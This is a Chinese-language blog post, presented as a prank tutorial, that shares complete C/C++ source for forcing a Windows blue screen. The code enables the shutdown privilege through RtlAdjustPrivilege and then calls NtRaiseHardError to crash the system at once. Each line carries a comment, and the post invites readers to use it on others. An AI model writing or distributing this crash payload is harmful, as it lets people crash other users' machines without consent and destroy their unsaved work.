前情提要
上次的文章C/C++蓝屏整人代码(要看的戳这里) 居然有粉丝在评论区说没有完全蓝屏
(不信自己看下面)
好好好这么玩儿是吧,那么今天我给大家分享一个超级超级超级超级......咳咳咳...牛逼的蓝屏代码
废话不多说直接来到大家超级超级超级超级......咳咳咳......喜欢的代码时间
完整代码
#include <Windows.h>
// 包含了 Windows 编程所需的头文件,提供了与 Windows 操作系统进行交互的各种函数、数据结构和常量定义
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
// WinMain 是 Windows 应用程序的入口点函数。
// HINSTANCE hInstance 是当前应用程序的实例句柄。
// HINSTANCE hPrevInstance 在 32 位 Windows 中始终为 NULL,已废弃。
// LPSTR lpCmdLine 是命令行参数。
// int nCmdShow 决定了窗口的初始显示方式
{
HMODULE ntdll = LoadLibrary("ntdll.dll");
// 使用 LoadLibrary 函数动态加载 ntdll.dll 库。
// ntdll.dll 是 Windows 内核的重要模块,包含了许多底层的系统函数。
FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
// 通过 GetProcAddress 函数获取 ntdll.dll 库中 "RtlAdjustPrivilege" 函数的地址。
FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
// 同样通过 GetProcAddress 函数获取 "NtRaiseHardError" 函数的地址。
unsigned char ErrKill;
// 定义一个无符号字符类型的变量 ErrKill,用于存储相关数据。
long unsigned int HDErr;
// 定义一个无符号长整型变量 HDErr,用于存储相关数据。
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
// 进行函数指针的类型转换,并调用 "RtlAdjustPrivilege" 函数,传递了特定的参数 0x13、true、false 和 ErrKill 的地址。
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
// 进行函数指针的类型转换,并调用 "NtRaiseHardError" 函数,传递了特定的参数 0xc0000233 等和 HDErr 的地址。
return 0;
// 返回 0,表示程序正常结束。
}
代码详解
好了今天就到这了ByeBye!!!